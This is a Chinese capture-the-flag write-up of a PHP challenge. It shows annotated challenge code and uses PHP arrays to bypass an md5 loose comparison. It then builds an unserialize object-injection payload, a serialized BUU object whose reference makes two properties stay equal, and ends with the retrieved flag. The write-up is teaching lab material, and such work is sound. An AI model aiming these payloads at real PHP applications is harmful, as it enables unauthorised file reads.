第一步:打开题目环境,点击链接,进行代码审计
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__); //高亮显示当前页面源码
class BUU { //类:BUU
public $correct = ""; //公有属性:$correct
public $input = ""; //公有属性:$input
public function __destruct() { //公有析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用
try {
$this->correct = base64_encode(uniqid()); //给correct赋值为base64_encode(uniqid())
if($this->correct === $this->input) { //判断两个属性是否全等
echo file_get_contents("/flag"); //若全等,则打印根目录下的flag
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') { //判断pleaseget==='1'&&pleasepost==='2'&&md1!=md52&&md5(md51)==md5(md52)
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
第二步:思路
GET提交:?pleaseget=1
POST提交的第一部分:pleasepost=2&md51[]=1&md52[]=2
POST提交的第二部分:一个BUU类的实例化对象,且两个属性值在经过$this->correct = base64_encode(uniqid());这个之后,依然全等,那么这里我们可以把变化的$correct属性的引用赋值给属性$input
//uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
//传值赋值:变量默认总是传值赋值。那也就是说,当将一个表达式的值赋予一个变量时,整个原始表达式的值被赋值到目标变量。这意味着,例如,当一个变量的值赋予另外一个变量时,改变其中一个变量的值,将不会影响到另外一个变量。
//引用赋值:PHP 也提供了另外一种方式给变量赋值:引用赋值。这意味着新的变量简单的引用(换言之,“成为其别名” 或者 “指向”)了原始变量。改动新的变量将影响到原始变量,反之亦然。
第三步:编写代码,构造payload
<?php
class BUU{
public $correct = "";
public $input = "";
}
$chen = new BUU();
$chen->input=&$chen->correct;
$chen = serialize($chen);
echo $chen."<br />";
//O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
payload:
GET部分:?pleaseget=1
POST部分:pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
第四步:提交payload,获取flag
图略
flag{faab2d36-52f7-4be7-ad41-5f3d81b7b22e}